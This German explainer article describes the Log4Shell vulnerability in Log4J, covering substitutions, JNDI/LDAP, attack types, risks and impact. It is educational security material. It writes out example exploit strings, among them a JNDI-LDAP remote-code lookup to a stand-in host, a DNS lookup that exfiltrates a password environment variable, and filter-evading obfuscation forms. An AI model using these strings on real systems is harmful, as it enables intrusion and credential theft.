Log4Shell: Ursachen und Aus­wir­kun­gen der Java-Si­cher­heits­lü­cke

Die Log4Shell-Si­cher­heits­lü­cke er­schüt­ter­te zum Ende des Jahres 2021 die Cyberwelt. Mit geringem Aufwand war es An­grei­fen­den möglich, global Systeme der größten Or­ga­ni­sa­tio­nen zu in­fil­trie­ren. Worum es sich bei Log4Shell handelt und was Sie jetzt un­ter­neh­men sollten, erklären wir Ihnen hier.

Bei Log4Shell handelt es sich um eine der schwers­ten bisher ent­deck­ten Java-Si­cher­heits­lü­cken. Außer zum Abgreifen sensibler Daten wurde die Schwach­stel­le ins­be­son­de­re zum Öffnen einer Reverse Shell auf einem ent­fern­ten System aus­ge­nutzt. Besteht eine Reverse Shell, können An­grei­fen­de weiteren Schadcode ein­spie­len oder das System komplett über­neh­men. Die US-ame­ri­ka­ni­sche National Vul­nerabi­li­ty Database (NVD, „Nationale Schwach­stel­len-Datenbank“) bewertete die Log4Shell-Si­cher­heits­lü­cke mit dem höchsten Wert von 10.0 als „Critical“.

Bekannt wurde Log4Shell als kritische Si­cher­heits­lü­cke mit dem bisher weitesten Ausmaß. Denn die zu­grun­de­lie­gen­de Schwach­stel­le befand sich in der breit­flä­chig ein­ge­setz­ten Java-Logging-Bi­blio­thek Log4J. Beim Be­kannt­wer­den waren mehr als 35.000 Pakete auf Maven Central, dem größten Java-Re­po­si­to­ry, von der Si­cher­heits­lü­cke betroffen. Log4Shell bedrohte tausende Produkte hunderter Anbieter; neben Cloud-Diensten und Software waren auch Hardware-Lösungen betroffen.

Besonders be­sorg­nis­er­re­gend ist der Umstand, dass die Log4Shell-Si­cher­heits­lü­cke bereits seit dem Jahr 2013 exis­tier­te. Von der Öf­fent­lich­keit unbemerkt bestand somit die Mög­lich­keit, viel­fäl­ti­ge Systeme auch großer Anbieter zu in­fil­trie­ren. Dabei muss man davon ausgehen, dass pro­fes­sio­nel­le Gruppen wie Ge­heim­diens­te und Ha­cke­rin­nen und Hacker die Schwach­stel­le aktiv aus­ge­nutzt haben, um Systeme an­zu­grei­fen und Daten zu entwenden.

Der Name „Log4Shell“ drückt bereits das grund­le­gen­de Wirk­prin­zip der Si­cher­heits­lü­cke aus. Eine Schwach­stel­le in der Java-Logging-Bi­blio­thek Log4J wird aus­ge­nutzt, um eine Reverse Shell auf einem ent­fern­ten System zu starten. Doch was genau ist Log4J und worum handelt es sich bei einer Reverse Shell?

Die von der Apache Software Foun­da­ti­on gepflegte Bi­blio­thek Log4J ist eines der am weitesten ver­brei­te­ten Stan­dard­tools für Logging in Java. Logging-Funk­tio­na­li­tät ist ein we­sent­li­cher Be­stand­teil größerer Systeme, die kon­ti­nu­ier­lich Sta­tus­mel­dun­gen erzeugen, auswerten und speichern. Zu den stan­dard­mä­ßig geloggten Daten gehören u. a. Header-Angaben, die bei HTTP-Anfragen an Webserver über­tra­gen werden. Hier ein Beispiel eines Apache-Log-Eintrags; beim letzten Teil handelt es sich um den so­ge­nann­ten User Agent String:

Unter einer Reverse Shell versteht man ein Ein­falls­tor, mit dem An­grei­fen­de ein ent­fern­tes System ma­ni­pu­lie­ren bzw. über­neh­men können. Das Starten einer Reverse Shell gehört zum Stan­dard­re­per­toire kri­mi­nel­ler Ha­cke­rin­nen und Hacker und erfordert in der Regel einen be­stehen­den Zugang zum be­trof­fe­nen System. Genau dieser Zugang lässt sich unter Aus­nut­zung der Log4Shell-Si­cher­heits­lü­cke mit geringem Aufwand schaffen.

Kern­pro­blem der Log4Shell-Si­cher­heits­lü­cke ist die Nutzung so­ge­nann­ter String Sub­sti­tu­ti­ons („Er­set­zun­gen von Zei­chen­ket­ten“) als Teil der Log4J-Funk­tio­na­li­tät. Sub­sti­tu­ti­ons erlauben das Einfügen dy­na­mi­scher Inhalte in Platz­hal­tern. Das funk­tio­niert ähnlich der Ersetzung von Variablen in Shell-Skripten. In Bezug auf die Si­cher­heit ist es pro­ble­ma­tisch, wenn die Inhalte von Sub­sti­tu­ti­ons von außen ma­ni­pu­lier­bar sind. Genau dies ist der Fall, wenn nut­zer­de­fi­nier­te Daten wie der User Agent String geloggt werden.

Schauen wir uns an, wie Sub­sti­tu­ti­ons aufgebaut sind und funk­tio­nie­ren. Die generelle Syntax einer Sub­sti­tu­ti­on besteht aus zwei Teilen: einem Platz­hal­ter, der wie in Shell-Skripten durch ein Dol­lar­zei­chen und ge­schweif­ten Klammern gebildet wird, sowie einem Prefix-Name-Paar, getrennt durch einen Dop­pel­punkt:

Der Prefix gibt an, welche Art von Sub­sti­tu­ti­on aus­ge­führt werden soll. Der folgende Beispiel-Code wird bei der Aus­füh­rung durch die Java-Version des laufenden Systems ersetzt:

Selbst ein so harmlos er­schei­nen­des Beispiel eröffnet An­grei­fen­den die Mög­lich­keit, in der je­wei­li­gen Java-Version bekannte Si­cher­heits­lü­cken aus­zu­nut­zen. In der Tat sind mehrere der möglichen Sub­sti­tu­ti­ons kritisch in Bezug auf die Si­cher­heit des aus­füh­ren­den Systems. Im Zu­sam­men­hang mit Log4Shell wurden ins­be­son­de­re Sub­sti­tu­tio­nen des JNDI Lookup be­rüch­tigt.

Das Java Naming and Directory Interface (JNDI) er­mög­licht das Nachladen von Kon­fi­gu­ra­tio­nen aus einer lokalen Java-Klasse. Es ist jedoch ebenfalls möglich, Kon­fi­gu­ra­tio­nen mit JNDI von einem ent­fern­ten System zu laden. Ins­be­son­de­re kamen bei Log4Shell-Angriffen unter Kontrolle der An­grei­fen­den stehende LDAP-Server zum Einsatz. Von diesen wurde der ei­gent­li­che Schadcode aus­ge­lie­fert, um die Reverse Shell zu öffnen. Denn eine Java-Klasse kann be­lie­bi­gen Code enthalten.

So genügte es, einem System mit ver­wund­ba­rem Log4J eine Zei­chen­ket­te der Form ${jndi:ldap://example.com/evil-file} un­ter­zu­schum­meln. Beim an­schlie­ßen­den Auflösen der Sub­sti­tu­ti­on wird Exploit-Code von einem unter Kontrolle stehenden LDAP-Server nach­ge­la­den. Der Exploit wird auf dem ver­wund­ba­ren System aus­ge­führt. Je nach Ziel der An­grei­fen­den lässt sich so Scareware und andere Malware in­stal­lie­ren.

Neben JNDI lassen sich auch die Prefixe 'env' und 'base64' für Angriffe nutzen. Hier ein Überblick der ver­füg­ba­ren Sub­sti­tu­ti­on-Prefixe samt Kontext:

Eine Si­cher­heits­lü­cke lässt sich durch Anwendung eines spe­zi­fi­schen Vorgehens ausnutzen. Man spricht dabei von einem Exploit. Oft exis­tie­ren mehrere Exploits für eine einzelne Si­cher­heits­lü­cke. Auch bei Log4Shell ist dies der Fall. Beim Be­kannt­wer­den kris­tal­li­sier­ten sich zwei haupt­säch­li­che An­griffs­ar­ten heraus. Sie un­ter­schie­den sich nach dem jeweils ein­ge­setz­ten JNDI-Aufruf:

1. Server bzw. Gerät über­neh­men

Bei dieser An­griffs­art wird eine Reverse-Shell auf dem Ziel­sys­tem gestartet. Dafür kommen ggf. weitere Exploits zum Einsatz, die die Kapazität vor­aus­set­zen, bös­ar­ti­gen Code auf dem Ziel­sys­tem aus­zu­füh­ren. Genau dieses Szenario wurde durch das Logging einer speziell prä­pa­rier­ten Zei­chen­ket­te er­mög­licht.

Um einen ver­wund­ba­ren Webserver an­zu­grei­fen, genügt es, eine beliebige Ressource ab­zu­fra­gen und einen Exploit-String als User Agent zu nutzen. Der Webserver loggt den Exploit-String, die Sub­sti­tu­ti­on wird aus­ge­führt und der Angriff nimmt seinen Lauf. Hier ein Beispiel für einen geloggten Exploit-String:

2. Sensible Daten abgreifen

Bei dieser An­griffs­art werden sensible Daten in Form von Um­ge­bungs­va­ria­blen vom Ziel­sys­tem aus­ge­le­sen. Der Exploit beruht auf darauf, eine an­geb­li­che DNS-Na­mens­auf­lö­sung durch Sub­sti­tu­ti­on dynamisch zu erzeugen. Dabei wird der Wert einer Um­ge­bungs­va­ria­ble als Subdomäne kodiert:

In beiden Fällen nutzen An­grei­fen­de ein unter der eigenen Kontrolle stehendes System als Brü­cken­kopf. Im ersten Fall handelt es sich um einen LDAP-Server, der Schadcode aus­lie­fert. Im zweiten Fall steht der Name­ser­ver, an den die DNS-Anfrage geht, unter Kontrolle der An­grei­fen­den. Schauen wir uns diesen Fall im Detail an.

Stellen wir uns vor, dass eine Um­ge­bungs­va­ria­ble mit Namen 'DB_PASS' auf dem ver­wund­ba­ren System das Passwort für eine Datenbank enthält. Nehmen wir an, es handele sich um den Wert e3Ct­De­wU­UwA­fiwWTFtAh­fettlQ2Lp5. Der Exploit-String ${jndi:dns://${env:DB_PASS}.example.com} löst eine DNS-Anfrage nach der Subdomäne e3Ct­De­wU­UwA­fiwWTFtAh­fettlQ2Lp5.example.com aus.

Die DNS-Anfrage für example.com geht an den Name­ser­ver, der unter Kontrolle der An­grei­fen­den steht. Der bösartige Name­ser­ver liest den Wert der Subdomäne aus und speichert selbigen. Die An­grei­fen­den erlangen so das Da­ten­bank­pass­wort des ver­wund­ba­ren Servers.

Die große Gefahr der Log4Shell-Si­cher­heits­lü­cke ergab sich aus der Kom­bi­na­ti­on der Ri­si­ko­fak­to­ren. Be­trach­ten wir die wich­tigs­ten:

1. Java-Si­cher­heits­lü­cke liegt in Logging-Bi­blio­thek.

Eine Logging-Bi­blio­thek wie Log4J erscheint zunächst relativ harmlos. Im Vergleich mit Bi­blio­the­ken für Au­then­ti­fi­zie­rung oder Ver­schlüs­se­lung dürfte eine Logging-Bi­blio­thek weniger kritisch beäugt werden.

2. Java wird breit­flä­chig ein­ge­setzt.

Ein Al­lein­stel­lungs­merk­mal von Java als Sprache und Umgebung ist, dass Java auf so gut wie allen Platt­for­men läuft. Die Log4Shell-Si­cher­heits­lü­cke betrifft daher eine enorm große Vielfalt an Pro­gram­men und Diensten. Ferner ist Java z. T. in Embedded-Systemen wie Routern und Internet-of-Things-Geräten in­te­griert. Dazu gehören z. B. private Kameras und Smart-Home-Geräte.

3. Ein Stapel von Tech­no­lo­gien ist in­vol­viert.

Die si­cher­heits­re­le­van­te Pro­ble­ma­tik ergibt sich durch die Ver­ket­tung mehrerer Tech­no­lo­gien. Erst die Kom­bi­na­ti­on aus Log4J, JNDI, LDAP und String Sub­sti­tu­ti­ons führt zur Si­cher­heits­lü­cke und eröffnet Angriffen Tür und Tor.

4. Exploit sickert auf tiefere Ebenen durch.

Betrifft eine Si­cher­heits­lü­cke nur das ver­wund­ba­re System, bleibt der Schaden im besten Fall lo­ka­li­siert. Stellen wir uns jedoch vor, dass ein Exploit-String über eine Web­ober­flä­che ent­ge­gen­ge­nom­men und geloggt wird. Eventuell wird der Exploit-String an dar­un­ter­lie­gen­de Systeme wei­ter­ge­reicht und erst bei dortiger Aus­wer­tung aktiv.

5. Exploit-Strings sind schwer zu entdecken.

Aufgrund der Kom­ple­xi­tät der möglichen Sub­sti­tu­tio­nen bieten sich viel­fäl­ti­ge Mög­lich­kei­ten, bös­ar­ti­gen Code zu ver­schlei­ern. So sind ver­schach­tel­te Sub­sti­tu­tio­nen möglich. Ein String der Form ${${lower:j}ndi} enthält nicht direkt die Zei­chen­ket­te jndi und lässt sich nicht au­to­ma­tisch filtern. Erst bei der Auflösung entsteht der String ${jndi}. Ferner ist es möglich, Teile des Codes mit Base64-Kodierung zu ver­schlei­ern. So evaluiert der String ${base64:SGVsbG8gV29ybGQhCg==} zu „Hello World!“.

Mit Be­kannt­wer­den der Log4Shell-Si­cher­heits­lü­cke kam es zu breit­flä­chi­gen Angriffen auf Systeme weltweit. Vor allem die Übernahme von Servern und Geräten, aber auch die Ent­wen­dung sensibler Daten wurde be­ob­ach­tet. Zehn Tage nach Ver­öf­fent­li­chung der Exploits re­sü­mier­te die Cy­ber­si­cher­heits­fir­ma Wiz:

Die über­nom­me­nen Systeme wurden u. a. miss­braucht, um Crypto-Münzen zu schürfen, Botnetze zu kreieren und Spam zu ver­schi­cken. Ferner wurden so­ge­nann­te Backdoors („Hin­ter­tü­ren“) angelegt, um das zu­künf­ti­ge Durch­füh­ren kri­mi­nel­ler Ak­ti­vi­tä­ten wie Ran­som­wa­re-Angriffe zu er­mög­li­chen. Zielt ein Angriff darauf ab, un­ent­deckt zu bleiben und weitere Systeme zu in­fil­trie­ren, spricht man auch von Advanced Per­sis­tent Threats (APT, „fort­ge­schrit­te­ne an­dau­ern­de Bedrohung“).

Größere Or­ga­ni­sa­tio­nen re­agier­ten in der Regel zügig auf das Be­kannt­wer­den von Log4Shell und un­ter­nah­men Schritte, ihre Systeme zu schützen. Dennoch muss man davon ausgehen, dass un­ge­patch­te Systeme weiterhin bedroht sind. Denn An­grei­fen­de scannen in der Regel ein Ziel­sys­tem und versuchen, so Schwach­stel­len ausfindig zu machen.

Er­schwe­rend bei der Be­kämp­fung der Log4Shell-Si­cher­heits­lü­cke kommt hinzu, dass die Erkennung ver­wund­ba­rer Systeme ggf. schwierig ist. Wenn Java-An­wen­dun­gen als Con­tai­nern laufen oder als ar­chi­vier­te JAR-Datei oder Container-Image vorliegen, ist es nicht trivial, auf ver­wund­ba­re Versionen von Log4J zu testen. Ist nicht bekannt, dass eine ver­wund­ba­re Version im Einsatz ist, lässt sich diese nicht absichern. So bleibt das System durch die Log4Shell-Si­cher­heits­lü­cke an­greif­bar.

Pro­ble­ma­ti­scher als Cloud- und Server-Um­ge­bun­gen sind Smart-Home- und andere IoT- bzw. Embedded-Systeme. Dazu gehören vernetzte Geräte wie private Router, Über­wa­chungs­ka­me­ras und der­glei­chen. Da die Log4Shell-Si­cher­heits­lü­cke schon seit Jahren bestand, ist an­zu­neh­men, dass Geräte mit un­si­che­rer Version weiterhin in Betrieb sind. Ist der Support bereits aus­ge­lau­fen oder existiert der Anbieter nicht mehr, sind für ge­wöhn­lich keine Patches oder Updates verfügbar.

Eine um­fang­rei­che Auf­lis­tung der von Log4Shell be­trof­fe­nen Software findet sich auf GitHub. Gepflegt wird die Liste vom nie­der­län­di­schen Nationaal Cyber Security Centrum (NCSC-NL), dem Pendant zum deutschen Bundesamt für Si­cher­heit in der In­for­ma­ti­ons­tech­nik (BSI). Aufgrund der Fülle ver­wund­ba­rer Software liegt die Liste nach An­fangs­buch­sta­ben der je­wei­li­gen Her­stel­ler geordnet vor.

Auch private Nutzende waren von Log4Shell betroffen. Denn viele der be­lieb­tes­ten On­line­diens­te waren zum Zeitpunkt der Ver­öf­fent­li­chung ver­wund­bar. Dazu gehörten bei­spiels­wei­se Minecraft, Steam, AWS und Apples iCloud. In der Regel haben die großen Anbieter schnell reagiert. Sie brauchen also nicht Ihren Steam-Account löschen oder auf eine AWS-Al­ter­na­ti­ve umsatteln.

Wenn Sie jedoch einen eigenen Minecraft-Server betreiben, sollten Sie den Minecraft-Server auf die neueste Version ak­tua­li­sie­ren. Denn bei ver­wund­ba­ren Versionen genügt das Versenden eines Exploit-Strings als Chat­nach­richt, um den Server zu über­neh­men.

In Ei­gen­hei­men oder kleinen Betrieben ein­ge­setz­te Hardware, die durch die Log4Shell-Si­cher­heits­lü­cke ver­wund­bar ist, stellt weiterhin eine Bedrohung für Pri­vat­an­wen­den­de dar. Bei­spiels­wei­se kann es genügen, einer Über­wa­chungs­ka­me­ra einen speziell prä­pa­rier­ten Barcode zu prä­sen­tie­ren, um das Gerät zu über­neh­men.